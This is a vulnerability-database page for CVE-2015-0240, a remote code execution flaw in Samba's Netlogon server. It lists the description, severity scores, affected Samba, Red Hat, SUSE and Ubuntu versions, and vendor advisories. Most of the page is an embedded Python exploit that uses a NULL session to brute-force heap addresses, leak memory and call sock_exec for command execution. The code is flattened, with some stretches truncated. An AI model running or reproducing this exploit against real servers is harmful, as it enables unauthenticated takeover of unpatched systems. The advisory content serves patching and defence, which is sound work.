English
Français
Light
Dark
System

Alert System

Stay informed at all times
Create an account Open a free account Login Manage your alerts

CVE-2015-0240 : Detail

CVE-2015-0240

97.43%V3
Network
2015-02-24 00:00 +00:00
2016-12-06 17:57 +00:00
CVE.org
NVD

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

The Netlogon server implementation in smbd in Samba 3.5.x and 3.6.x before 3.6.25, 4.0.x before 4.0.25, 4.1.x before 4.1.17, and 4.2.x before 4.2.0rc5 performs a free operation on an uninitialized stack pointer, which allows remote attackers to execute arbitrary code via crafted Netlogon packets that use the ServerPasswordSet RPC API, as demonstrated by packets reaching the _netr_ServerPasswordSet function in rpc_server/netlogon/srv_netlog_nt.c.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-17 Category : DEPRECATED: Code
This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

Metrics

Metric Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 36741

Publication date : 2015-04-12 22:00 +00:00
Author : sleepya
EDB Verified : No

#!/usr/bin/python """ Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()' in libtalloc does not write a value on 'creds' address. Reference: - https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/ Note: - heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option) if something failed Find heap address: - ubuntu PIE heap start range: b7700000 - b9800000 - start payload size: the bigger it is the lesser connection and binding time. but need more time to shrink payload size - payload is too big to fit in freed small hole. so payload is always at end of heap - start bruteforcing heap address from high memory address to low memory address to prevent 'creds' pointed to real heap chunk (also no crash but not our payload) Leak info: - heap layout is predictable because talloc_stackframe_pool(8192) is called after accepted connection and fork but before calling smbd_server_connection_loop_once() - before talloc_stackframe_pool(8192) is called, there are many holes in heap but their size are <8K. so pool is at the end of heap at this time - many data that allocated after talloc_stackframe_pool(8192) are allocated in pool. with the same pattern of request, the layout in pool are always the same. - many data are not allocated in pool but fit in free holes. so no small size data are allocated after pool. - normally there are only few data block allocated after pool. - pool size: 0x2048 (included glibc heap header 4 bytes) - a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes) - p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes) - this might not be allocated here because its size might fit in freed hole - all fragment should be same size to prevent talloc_realloc() changed pdu.data size - so last fragment should be padded - ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes) - this might not be allocated here because its size might fit in freed hole - p->in_data.data.data. the size is our netlogon data - for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes) - this data is allocated by realloc(), grew by each fragment. so this memory block is not allocated by mmapped even the size is very big. - pool layout for interested data - r->out offset from pool (talloc header) is 0x13c0 - r->out.return_authenticator offset from pool is 0x13c0+0x18 - overwrite this (with link unlink) to leak info in ServerPasswordSet response - smb_request offset from pool (talloc header) is 0x11a0 - smb_request.sconn offset from pool is 0x11a0+0x3c - socket fd is at smb_request.sconn address (first struct member) - more shared folder in configuration, more freed heap holes - only if there is no or one shared, many data might be unexpected allocated after pool. have to get that extra offset or bruteforce it More exploitation detail in code (comment) ;) """ import sys import time from struct import pack,unpack import argparse import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import WSTR class Requester: """ put all smb request stuff into class. help my editor folding them """ # impacket does not implement NetrServerPasswordSet # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) # response is authenticator (8 bytes) and error code (4 bytes) # size of each field in sent packet req_server_handle_size = 16 req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null req_sec_type_size = 2 req_computer_size = 4 + 4 + 4 + 2 req_authenticator_size = 8 + 2 + 4 req_new_pwd_size = 16 req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size samba_rpc_fragment_size = 4280 netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size def __init__(self): self.target = None self.dce = None sessionKey = '\x00'*16 # prepare ServerPasswordSet request authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = '\x00'*16 self.serverName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds self.serverName.fields['ReferentID'] = 0 self.accountName = WSTR() request = Requester.NetrServerPasswordSet() request['PrimaryName'] = self.serverName request['AccountName'] = self.accountName request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass self.request = request def set_target(self, target): self.target = target def set_payload(self, s, pad_to_size=0): if pad_to_size > 0: s += '\x00'*(pad_to_size-len(s)) pad_size = 0 if len(s) < (16*1024+1): ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size if ofsize > 0: pad_size = self.netlogon_data_fragment_size - ofsize self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00' self.accountName.fields['MaximumCount'] = None self.accountName.fields['ActualCount'] = None self.accountName.data = None # force recompute set_accountNameData = set_payload def get_dce(self): if self.dce is None or self.dce.lostconn: rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target) rpctransport.set_credentials('','') # NULL session rpctransport.set_dport(445) # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12') self.dce = rpctransport.get_dce_rpc() self.dce.connect() self.dce.bind(nrpc.MSRPC_UUID_NRPC) self.dce.lostconn = False return self.dce def get_socket(self): return self.dce.get_rpc_transport().get_socket() def force_dce_disconnect(self): if not (self.dce is None or self.dce.lostconn): self.get_socket().close() self.dce.lostconn = True def request_addr(self, addr): self.serverName.fields['ReferentID'] = addr dce = self.get_dce() try: dce.call(self.request.opnum, self.request) answer = dce.recv() return unpack("flags & TALLOC_FLAG_LOOP)) { /* we have a free loop - stop looping */ return 0; } """ global fake_chunk_find_heap payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap)) set_payload(payload) addr_step = payload_size addr = start_addr i = 0 while addr > stop_addr: if i == 16: print(" [*]trying addr: {:x}".format(addr)) i = 0 if request_check_valid_addr(addr): return addr if first: # first time, the last 16 bit is still do not know # have to do extra check if request_check_valid_addr(addr+0x10): return addr+0x10 addr -= addr_step i += 1 return None def find_valid_heap_exact_addr(addr, payload_size): global fake_chunk_find_heap fake_size = payload_size // 2 while fake_size >= len(fake_chunk_find_heap): payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap)) set_payload(payload, payload_size) if not request_check_valid_addr(addr): addr -= fake_size fake_size = fake_size // 2 set_payload('\x00'*16 + pack("= target_payload_size: force_dce_disconnect() found_addr = None for i in range(3): found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None) if found_addr is not None: break if found_addr is None: # failed good_addr = None break good_addr = found_addr print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr)) start_addr = good_addr stop_addr = good_addr - payload_size + 0x20 payload_size //= 2 if good_addr is not None: # try 3 times to find exact address. if address cannot be found, assume # minimizing payload size is not correct. start minimizing again for i in range(3): heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size) if heap_addr != 0: break force_dce_disconnect() if heap_addr == 0: print(' [-] failed to find payload adress') # start from last good address + some offset start_addr = (good_addr + 0x10000) & 0xffff0000 print('[*] bruteforcing heap adress again from {:x}'.format(start_addr)) payload_addr = heap_addr - len(fake_chunk_find_heap) print(" [+] found payload addr: {:x}".format(payload_addr)) return payload_addr ######## # leak info ######## def addr2utf_prefix(addr): def is_badchar(v): return (v >= 0xd8) and (v <= 0xdf) prefix = 0 # safe if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff): prefix |= 2 # cannot have prefix if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff): prefix |= 1 # must have prefix return prefix def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False): """ Note: - if next_addr and prev_addr are not zero, they must be writable address because of below code in _talloc_free_internal() if (tc->prev) tc->prev->next = tc->next; if (tc->next) tc->next->prev = tc->prev; """ # Note: U+D800 to U+DFFF is reserved (also bad char for samba) # check if '\x00' is needed to avoid utf16 badchar prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr) if prefix_len == 3: return None # cannot avoid badchar if prefix_len == 2: prefix_len = 0 fake_chunk_leak_info = pack(" wrong answer force_dce_disconnect() # heap is corrupted, disconnect it return answers def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True): # leak by replace r->out.return_authenticator pointer # Note: because leak_addr[4:8] will be replaced with r_out_addr # only answers[0] and answers[2] are leaked return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry) def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True): # leak by replace r->out.return_authenticator pointer # Note: leak_addr[0:4] will be replaced with r_out_addr # only answers[1] and answers[2] are leaked return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry) def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr): # leak name field ('uint8_t') in found heap chunk # do not retry this leak, because r_out_addr is guessed answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False) if answers is None: return None if answers[2] != TALLOC_MAGIC: force_dce_disconnect() return None return answers[0] def leak_info_find_offset(info): # offset from pool to payload still does not know print("[*] guessing 'r' offset and leaking 'uint8_t' address ...") chunk_addr = info['chunk_addr'] uint8t_addr = None r_addr = None r_out_addr = None while uint8t_addr is None: # 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0 # 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0 # 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0 # 0xad40 is extra offset when no share on debian # 0x10d38 is extra offset when only [printers] is shared on debian for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38): r_addr = chunk_addr - offset # 0x18 is out.authenticator offset r_out_addr = r_addr + 0x18 print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr)) uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr) if uint8t_addr is not None: print(" [*] success") break print(" [-] failed") if uint8t_addr is None: return False info['uint8t_addr'] = uint8t_addr info['r_addr'] = r_addr info['r_out_addr'] = r_out_addr info['pool_addr'] = r_addr - 0x13c0 print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr'])) print(" [+] pool addr: {:x}".format(info['pool_addr'])) return True def leak_sock_fd(info): # leak sock fd from # smb_request->sconn->sock # (offset: ->0x3c ->0x0 ) print("[*] leaking socket fd ...") info['smb_request_addr'] = info['pool_addr']+0x11a0 print(" [*] smb request addr: {:x}".format(info['smb_request_addr'])) answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4) if answers is None: print(' [-] cannot leak sconn_addr address :(') return None force_dce_disconnect() # heap is corrupted, disconnect it sconn_addr = answers[2] info['sconn_addr'] = sconn_addr print(' [+] sconn addr: {:x}'.format(sconn_addr)) # write in padding of chunk, no need to disconnect answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr) if answers is None: print('cannot leak sock_fd address :(') return None sock_fd = answers[1] print(' [+] sock fd: {:d}'.format(sock_fd)) info['sock_fd'] = sock_fd return sock_fd def leak_talloc_pop_addr(info): # leak destructor talloc_pop() address # overwrite name field, no need to disconnect print('[*] leaking talloc_pop address') answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14) if answers is None: print(' [-] cannot leak talloc_pop() address :(') return None if answers[2] != 0x2010: # chunk size must be 0x2010 print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(') return None talloc_pop_addr = answers[0] print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr)) info['talloc_pop_addr'] = talloc_pop_addr return talloc_pop_addr def leak_smbd_server_connection_handler_addr(info): # leak address from # smbd_server_connection.smb1->fde ->handler # (offset: ->0x9c->0x14 ) # MUST NOT disconnect after getting smb1_fd_event address print('[*] leaking smbd_server_connection_handler address') def real_leak_conn_handler_addr(info): answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c) if answers is None: print(' [-] cannot leak smb1_fd_event address :(') return None smb1_fd_event_addr = answers[1] print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr)) answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14) if answers is None: print(' [-] cannot leak smbd_server_connection_handler address :(') return None force_dce_disconnect() # heap is corrupted, disconnect it smbd_server_connection_handler_addr = answers[0] diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr if diff > 0x2000000 or diff < 0: print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) smbd_server_connection_handler_addr = None return smbd_server_connection_handler_addr smbd_server_connection_handler_addr = None while smbd_server_connection_handler_addr is None: smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info) print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr return smbd_server_connection_handler_addr def find_smbd_base_addr(info): # estimate smbd_addr from talloc_pop if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0: # code has no alignment start_addr = info['smbd_server_connection_handler_addr'] - 0x124000 else: start_addr = info['smbd_server_connection_handler_addr'] - 0x130000 start_addr = start_addr & 0xfffff000 stop_addr = start_addr - 0x20000 print('[*] finding smbd loaded addr ...') while True: smbd_addr = start_addr while smbd_addr >= stop_addr: if addr2utf_prefix(smbd_addr-8) == 3: # smbd_addr is 0xb?d?e000 test_addr = smbd_addr - 0x800 - 4 else: test_addr = smbd_addr - 8 # test writable on test_addr answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False) if answers is not None: break smbd_addr -= 0x1000 # try prev page if smbd_addr > stop_addr: break print(' [-] failed. try again.') info['smbd_addr'] = smbd_addr print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr)) def dump_mem_call_addr(info, target_addr): # leak pipes_struct address from # smbd_server_connection->chain_fsp->fake_file_handle->private_data # (offset: ->0x48 ->0xd4 ->0x4 ) # Note: # - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed # - target_addr will be replaced with current_pdu_sent address # check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c print(' [*] overwrite current_pdu_sent for dumping memory ...') answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48) if answers is None: print(' [-] cannot leak chain_fsp address :(') return False chain_fsp_addr = answers[1] print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr)) answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False) if answers is None: print(' [-] cannot leak fake_file_handle address :(') return False fake_file_handle_addr = answers[0] print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr)) answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False) if answers is None: print(' [-] cannot leak pipes_struct address :(') return False pipes_struct_addr = answers[2] print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr)) current_pdu_sent_addr = pipes_struct_addr+0x84 print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr)) # change pipes->out_data.current_pdu_sent to dump memory return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True) def dump_smbd_find_bininfo(info): def recv_till_string(data, s): pos = len(data) while True: data += force_recv() if len(data) == pos: print('no more data !!!') return None p = data.find(s, pos-len(s)) if p != -1: return (data, p) pos = len(data) return None def lookup_dynsym(dynsym, name_offset): addr = 0 i = 0 offset_str = pack(" 0: if mem[pos:pos+16] == '\x00'*16: break pos -= 16 # sym entry size is 16 bytes if pos <= 0: print(' [-] found wrong .dynsym section at {:x}'.format(pos)) return None dynsym_offset = pos print(' [*] found .dynsym section at {:x}'.format(dynsym_offset)) dynsym = mem[dynsym_offset:] # find sock_exec dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00') print(' [*] found sock_exec string at {:x}'.format(pos+1)) sock_exec_offset = lookup_dynsym(dynsym, pos+1) print(' [*] sock_exec offset {:x}'.format(sock_exec_offset)) #info['mem'] = mem # smbd data before .dynsym section info['dynsym'] = dynsym info['dynstr'] = dynstr # incomplete section info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) # Note: can continuing memory dump to find ROP force_dce_disconnect() ######## # code execution ######## def call_sock_exec(info): prefix_len = addr2utf_prefix(info['sock_exec_addr']) if prefix_len == 3: return False # too bad... cannot call if prefix_len == 2: prefix_len = 0 fake_talloc_chunk_exec = pack("

Products Mentioned

Configuraton 0

Redhat>>Enterprise_linux >> Version 5

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux >> Version 7.0

Configuraton 0

Samba>>Samba >> Version 3.5.0

Samba>>Samba >> Version 3.5.1

Samba>>Samba >> Version 3.5.2

Samba>>Samba >> Version 3.5.3

Samba>>Samba >> Version 3.5.4

Samba>>Samba >> Version 3.5.5

Samba>>Samba >> Version 3.5.6

Samba>>Samba >> Version 3.5.7

Samba>>Samba >> Version 3.5.8

Samba>>Samba >> Version 3.5.9

Samba>>Samba >> Version 3.5.10

Samba>>Samba >> Version 3.5.11

Samba>>Samba >> Version 3.5.12

Samba>>Samba >> Version 3.5.13

Samba>>Samba >> Version 3.5.14

Samba>>Samba >> Version 3.5.15

Samba>>Samba >> Version 3.5.16

Samba>>Samba >> Version 3.5.17

Samba>>Samba >> Version 3.5.18

Samba>>Samba >> Version 3.5.19

Samba>>Samba >> Version 3.5.20

Samba>>Samba >> Version 3.5.21

Samba>>Samba >> Version 3.5.22

Samba>>Samba >> Version 3.6.0

Samba>>Samba >> Version 3.6.1

Samba>>Samba >> Version 3.6.2

Samba>>Samba >> Version 3.6.10

Samba>>Samba >> Version 3.6.11

Samba>>Samba >> Version 3.6.12

Samba>>Samba >> Version 3.6.13

Samba>>Samba >> Version 3.6.14

Samba>>Samba >> Version 3.6.15

Samba>>Samba >> Version 3.6.16

Samba>>Samba >> Version 3.6.17

Samba>>Samba >> Version 3.6.18

Samba>>Samba >> Version 3.6.19

Samba>>Samba >> Version 3.6.20

Samba>>Samba >> Version 3.6.21

Samba>>Samba >> Version 3.6.22

Samba>>Samba >> Version 3.6.23

Samba>>Samba >> Version 3.6.24

Samba>>Samba >> Version 4.0.0

Samba>>Samba >> Version 4.0.1

Samba>>Samba >> Version 4.0.2

Samba>>Samba >> Version 4.0.3

Samba>>Samba >> Version 4.0.4

Samba>>Samba >> Version 4.0.5

Samba>>Samba >> Version 4.0.6

Samba>>Samba >> Version 4.0.7

Samba>>Samba >> Version 4.0.8

Samba>>Samba >> Version 4.0.9

Samba>>Samba >> Version 4.0.10

Samba>>Samba >> Version 4.0.11

Samba>>Samba >> Version 4.0.12

Samba>>Samba >> Version 4.0.13

Samba>>Samba >> Version 4.0.14

Samba>>Samba >> Version 4.0.15

Samba>>Samba >> Version 4.0.16

Samba>>Samba >> Version 4.0.17

Samba>>Samba >> Version 4.0.18

Samba>>Samba >> Version 4.0.19

Samba>>Samba >> Version 4.0.20

Samba>>Samba >> Version 4.0.21

Samba>>Samba >> Version 4.0.22

Samba>>Samba >> Version 4.0.23

Samba>>Samba >> Version 4.0.24

Samba>>Samba >> Version 4.1.0

Samba>>Samba >> Version 4.1.1

Samba>>Samba >> Version 4.1.2

Samba>>Samba >> Version 4.1.3

Samba>>Samba >> Version 4.1.4

Samba>>Samba >> Version 4.1.5

Samba>>Samba >> Version 4.1.6

Samba>>Samba >> Version 4.1.7

Samba>>Samba >> Version 4.1.8

Samba>>Samba >> Version 4.1.9

Samba>>Samba >> Version 4.1.10

Samba>>Samba >> Version 4.1.11

Samba>>Samba >> Version 4.1.12

Samba>>Samba >> Version 4.1.13

Samba>>Samba >> Version 4.1.14

Samba>>Samba >> Version 4.1.15

Samba>>Samba >> Version 4.1.16

Samba>>Samba >> Version 4.2.0

Samba>>Samba >> Version 4.2.0

Samba>>Samba >> Version 4.2.0

Samba>>Samba >> Version 4.2.0

Configuraton 0

Novell>>Suse_linux_enterprise_desktop >> Version 12

    Novell>>Suse_linux_enterprise_server >> Version 12

      Novell>>Suse_linux_enterprise_software_development_kit >> Version 12

        Configuraton 0

        Canonical>>Ubuntu_linux >> Version 12.04

        Canonical>>Ubuntu_linux >> Version 14.04

        Canonical>>Ubuntu_linux >> Version 14.10

        References

        http://marc.info/?l=bugtraq&m=143039217203031&w=2
        Tags : vendor-advisory, x_refsource_HP
        http://rhn.redhat.com/errata/RHSA-2015-0257.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://rhn.redhat.com/errata/RHSA-2015-0254.html
        Tags : vendor-advisory, x_refsource_REDHAT
        https://www.exploit-db.com/exploits/36741/
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://rhn.redhat.com/errata/RHSA-2015-0250.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://marc.info/?l=bugtraq&m=143039217203031&w=2
        Tags : vendor-advisory, x_refsource_HP
        http://www.ubuntu.com/usn/USN-2508-1
        Tags : vendor-advisory, x_refsource_UBUNTU
        http://rhn.redhat.com/errata/RHSA-2015-0253.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://www.securityfocus.com/bid/72711
        Tags : vdb-entry, x_refsource_BID
        http://rhn.redhat.com/errata/RHSA-2015-0249.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://rhn.redhat.com/errata/RHSA-2015-0251.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://security.gentoo.org/glsa/glsa-201502-15.xml
        Tags : vendor-advisory, x_refsource_GENTOO
        http://www.debian.org/security/2015/dsa-3171
        Tags : vendor-advisory, x_refsource_DEBIAN
        http://www.securitytracker.com/id/1031783
        Tags : vdb-entry, x_refsource_SECTRACK
        http://rhn.redhat.com/errata/RHSA-2015-0252.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://www.mandriva.com/security/advisories?name=MDVSA-2015:082
        Tags : vendor-advisory, x_refsource_MANDRIVA
        http://marc.info/?l=bugtraq&m=142722696102151&w=2
        Tags : vendor-advisory, x_refsource_HP
        http://www.mandriva.com/security/advisories?name=MDVSA-2015:081
        Tags : vendor-advisory, x_refsource_MANDRIVA
        http://rhn.redhat.com/errata/RHSA-2015-0255.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://rhn.redhat.com/errata/RHSA-2015-0256.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://marc.info/?l=bugtraq&m=142722696102151&w=2
        Tags : vendor-advisory, x_refsource_HP

        More information
        Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.